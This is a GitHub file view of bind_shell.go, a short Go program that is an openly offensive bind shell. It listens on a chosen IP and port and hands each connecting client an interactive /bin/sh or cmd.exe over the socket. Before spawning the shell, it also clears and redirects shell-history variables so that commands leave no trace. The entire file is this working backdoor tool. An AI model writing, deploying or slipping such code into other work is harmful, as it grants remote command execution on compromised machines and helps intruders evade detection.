-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathbind_shell.go
More file actions
72 lines (62 loc) · 1.22 KB
/
Copy pathbind_shell.go
File metadata and controls
72 lines (62 loc) · 1.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package main
import (
"fmt"
"net"
"os"
"os/exec"
"path"
"runtime"
"syscall"
)
var (
ip string
port string
addr string
conn net.Conn
shell = "/bin/sh"
way = "tcp"
)
func main() {
if runtime.GOOS == "windows" {
shell = "c:\\windows\\system32\\cmd.exe"
}
if len(os.Args) < 3 {
fmt.Printf("Usage: %s [ip] [port]\n", path.Base(os.Args[0]))
os.Exit(0)
}
ip = os.Args[1]
port = os.Args[2]
addr = fmt.Sprintf("%s:%s", ip, port)
listener, err := net.Listen("tcp", addr)
checkError(err)
defer listener.Close()
for {
conn, err := listener.Accept()
fmt.Println(conn.RemoteAddr().String())
checkError(err)
go func() {
cmd := exec.Command(shell)
syscall.Unsetenv("HISTFILE")
syscall.Unsetenv("HISTFILESIZE")
syscall.Unsetenv("HISTSIZE")
syscall.Unsetenv("HISTORY")
syscall.Unsetenv("HISTSAVE")
syscall.Unsetenv("HISTZONE")
syscall.Unsetenv("HISTLOG")
syscall.Unsetenv("HISTCMD")
syscall.Setenv("HISTFILE", "/dev/null")
syscall.Setenv("HISTSIZE", "0")
syscall.Setenv("HISTFILESIZE", "0")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
conn.Close()
}()
}
}
func checkError(err error) {
if err != nil {
fmt.Println(err.Error())
}
}